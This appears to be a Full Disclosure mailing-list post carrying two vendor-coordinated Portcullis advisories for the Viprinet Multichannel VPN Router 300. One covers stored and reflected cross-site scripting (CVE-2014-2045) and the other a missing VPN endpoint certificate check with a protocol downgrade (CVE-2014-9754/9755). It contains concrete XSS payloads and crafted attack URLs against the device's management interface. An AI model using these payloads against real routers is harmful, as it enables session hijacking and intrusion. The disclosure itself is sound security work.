Security Advisories

[Portcullis Advisories <advisories () portcullis-security com>]

Vulnerability title: Multiple Instances Of Cross-site Scripting In Viprinet Multichannel VPN Router 300
CVE: CVE-2014-2045
Vendor: Viprinet
Product: Multichannel VPN Router 300
Affected version: 2013070830/2013080900
Fixed version:  2014013131/2014020702
Reported by: Tim Brown
Details:

        The data supplied to both the `old' and `new' web applications (the device has two web based management 
interfaces) was permanently stored and could be retrieved later by other users. This is a normal feature of many 
applications, however, in this instance the application failed to restrict the type of data that could be stored and 
also failed to sanitise it, meaning that it could not be safely rendered by the browser.

        Stored cross-site scripting could be triggered by:

        
                Attempting to login with a username of `<script>alert(1)</script>' (affects `old' interface and results 
in post-authentication cross-site Scripting when a legitimate administrator views the realtime log)
                Creating an account with a username of `<script>alert(1)</script>' (affects both `old' and `new' 
interfaces once created)
                Setting the device's hostname to `<script>alert(1)</script>'  (affects `old' interface once created)
        

        A number of locations were identified as being vulnerable to reflective attacks, including:


http://<host>/exec?module=config&sessionid=<sessionid>&inspect=%3Cscript%20src=http://localhost:9090%3E%3C/script%3E
http://<host>/exec?tool=atcommands&sessionid=<sessionid>&sourceobject=WANINTERFACELIST.OBJECT__0&module=configtools&commands=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
http://<host>/exec?tool=ping&sessionid=<sessionid>&sourceobject=WANINTERFACELIST.OBJECT__0&module=configtools&host=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&pingcount=3&databytes=56


        The inclusion of session IDs in all URLs partially mitigates the reflective cross-site scripting but could 
itself be considered a vulnerability since it is included in referred headers and log files.

        These are simply some examples of how this attack might be performed, and the it is believed that both the 
`old' and `new' web applications are systemically vulnerable to this.
 

               
Further details at:

 https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2045/



Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted 
for the electronic redistribution of this information. It is not to be edited or altered in any way without the express 
written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in 
an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use 
of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security 
Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this 
information.

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Vulnerability title: Remote SSL VPN Endpoint Identity Not Verified In Viprinet Multichannel VPN Router 300
CVE: CVE-2014-9754, CVE-2014-9755
Vendor: Viprinet
Product: Multichannel VPN Router 300
Affected version: 2013070830/2013080900
Fixed version:  2014013131/2014020702
Reported by: Tim Brown
Details:

        In order for the hardware VPN client on the affected device to establish a VPN channel it connects to the 
remote VPN endpoint and initiates an SSL connection using TLSv1.1. It then initiates the following exchange (protocol 
version 2):


client> VERSION 3
server> ERROR
client> VERSION 2
server> +OK Protocol version 2 chosen
client> TUNNEL test
server> +OK Tunnel chosen
client> PASS test
server> +OK You are now authenticated
client> CHANNEL test
server> +OK Channel selected
client> DATA


        The hardware VPN client does not validate the remote VPN endpoint identity (through the checking of the 
endpoint's SSL key) before initiating the exchange.

        In this example, we perform a downgrade attack from protocol version 3 to protocol version 2, however as noted 
in the impact, version 3 of the protocol is similarly affected.

        Note: MITRE have assigned CVE-2014-9754 to reference the missing certificate validation and CVE-2014-9755 to 
reference the protocol downgrade attack.
 

      
Further details at: 
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-9754-cve-2014-9755/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted 
for the electronic redistribution of this information. It is not to be edited or altered in any way without the express 
written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in 
an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use 
of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security 
Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this 
information.

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------




###############################################################
This email originates from the systems of Portcullis
Computer Security Limited, a Private limited company, 
registered in England in accordance with the Companies 
Act under number 02763799. The registered office 
address of Portcullis Computer Security Limited is: 
Portcullis House, 2 Century Court, Tolpits Lane, Watford, 
United Kingdom, WD18 9RS.  
The information in this email is confidential and may be 
legally privileged. It is intended solely for the addressee. 
Any opinions expressed are those of the individual and 
do not represent the opinion of the organisation. Access 
to this email by persons other than the intended recipient 
is strictly prohibited.
If you are not the intended recipient, any disclosure, 
copying, distribution or other action taken or omitted to be 
taken in reliance on it, is prohibited and may be unlawful. 
When addressed to our clients any opinions or advice 
contained in this email is subject to the terms and 
conditions expressed in the applicable Portcullis Computer 
Security Limited terms of business.
###############################################################

#####################################################################################
This e-mail message has been scanned for Viruses and Content and cleared 
by MailMarshal.
#####################################################################################

Attachment: CVE-2014-2045.txt
Description: CVE-2014-2045.txt

Attachment: CVE-2014-9754.txt
Description: CVE-2014-9754.txt

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/